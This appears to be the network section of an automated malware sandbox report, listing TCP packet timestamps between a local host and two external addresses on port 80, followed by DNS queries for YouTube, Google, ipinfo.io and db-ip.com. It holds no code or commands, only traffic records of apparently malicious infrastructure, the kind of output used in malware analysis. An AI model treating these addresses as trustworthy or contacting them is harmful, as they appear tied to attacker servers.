Apr 19, 2024 03:29:14.237129927 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237159967 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237164974 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237204075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237262964 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237302065 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237313986 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237339973 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237339973 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237379074 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237382889 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237417936 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237441063 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237457037 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237495899 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237497091 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237497091 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237534046 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237535954 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237574100 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237584114 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237612963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237622976 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237653971 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237692118 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.237730026 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237730026 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.237730026 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474416971 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474482059 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474498987 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474523067 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474535942 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474565029 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474587917 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474606991 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474623919 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474647045 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474651098 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474685907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474725008 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474739075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474767923 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474809885 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.474819899 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.474858046 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.477250099 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.477292061 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.477313995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.477330923 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.477340937 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.477371931 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.477380991 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.477413893 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.477422953 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.477462053 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478324890 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478365898 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478389978 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478404999 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478410006 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478446007 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478454113 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478485107 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478496075 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478523970 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478554964 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478565931 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478574991 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478606939 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478615046 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478647947 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478657007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478687048 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478698015 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478734016 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478743076 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478775978 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478796959 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478818893 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478823900 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478857040 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478866100 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478895903 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478907108 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.478935957 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478972912 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.478985071 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479012012 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479022026 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479051113 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479057074 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479091883 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479100943 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479130983 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479145050 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479171038 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479173899 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479208946 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479218006 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479247093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479254007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479288101 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479290962 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479326963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479335070 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479366064 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479374886 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479404926 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479409933 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479444027 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479453087 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479484081 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479491949 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479523897 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479531050 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479563951 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479571104 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479604006 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479612112 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479643106 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479650021 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479682922 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479721069 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479732037 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479762077 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479768991 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479801893 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479813099 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479840994 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479846954 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479880095 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479888916 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479919910 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479928970 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.479960918 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.479965925 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480000019 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480026007 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480037928 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480073929 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480076075 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480108976 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480149984 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480190039 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480205059 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480230093 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480241060 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480269909 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480281115 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480309963 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480318069 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480346918 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480356932 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480386019 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480393887 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480422974 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480428934 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480463028 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480473995 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480501890 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480509043 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480540991 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480549097 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480580091 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480588913 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480619907 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480628967 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480659962 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:14.480665922 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:14.480720043 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:15.200695992 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.201189041 CEST	49721	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.447206974 CEST	80	49721	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:15.447314978 CEST	49721	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.448436022 CEST	80	49719	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:15.448540926 CEST	49719	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.465560913 CEST	49721	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.711323023 CEST	80	49721	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:15.715399981 CEST	80	49721	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:15.717253923 CEST	49721	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:15.719224930 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:15.719477892 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:15.961102009 CEST	80	49720	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:15.962129116 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:15.962213993 CEST	49720	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:15.962253094 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:15.978332996 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.220956087 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221138000 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221177101 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221215963 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221218109 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221254110 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221287966 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221287966 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221295118 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221323967 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221333981 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221338987 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221373081 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221386909 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221410990 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221440077 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221448898 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221477032 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221488953 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.221493006 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.221548080 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464555979 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464627028 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464638948 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464682102 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464714050 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464724064 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464724064 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464765072 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464767933 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464806080 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464816093 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464844942 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464848995 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464884996 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464891911 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464925051 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.464930058 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464967012 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.464971066 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465008974 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465014935 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465048075 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465054035 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465086937 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465092897 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465126038 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465128899 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465168953 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465173006 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465209007 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465213060 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465249062 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465253115 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465287924 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465291977 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465328932 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465332031 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465372086 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.465375900 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.465416908 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708439112 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708462000 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708481073 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708498955 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708498001 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708515882 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708528996 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708534956 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708553076 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708570004 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708570957 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708580971 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708587885 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708607912 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708611012 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708625078 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708628893 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708646059 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708662987 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708663940 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708673954 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708683968 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708687067 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708703995 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708708048 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708725929 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708738089 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708744049 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708762884 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708765030 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708780050 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708781958 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708797932 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708805084 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708817959 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708822012 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708837032 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708837986 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708856106 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708857059 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708873987 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708878994 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708893061 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708893061 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708910942 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708914995 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708930016 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708933115 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708946943 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708946943 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708971024 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708975077 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.708986998 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.708992958 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709011078 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709016085 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709028959 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709028959 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709048986 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709048986 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709065914 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709065914 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709085941 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709089041 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709103107 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709104061 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709121943 CEST	49722	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:16.709122896 CEST	80	49722	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:16.709142923 CEST	49722	80	192.168.2.5	193.233.132.167

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 03:29:16.631087065 CEST	192.168.2.5	1.1.1.1	0x4547	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:16.631237030 CEST	192.168.2.5	1.1.1.1	0x9d83	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Apr 19, 2024 03:29:20.929791927 CEST	192.168.2.5	1.1.1.1	0x1bb3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:20.930790901 CEST	192.168.2.5	1.1.1.1	0xffc6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 19, 2024 03:29:22.300446033 CEST	192.168.2.5	1.1.1.1	0xb67e	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:22.301054001 CEST	192.168.2.5	1.1.1.1	0xbe10	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Apr 19, 2024 03:29:24.697052956 CEST	192.168.2.5	1.1.1.1	0xb256	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 19, 2024 03:29:25.274893999 CEST	192.168.2.5	1.1.1.1	0xd206	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
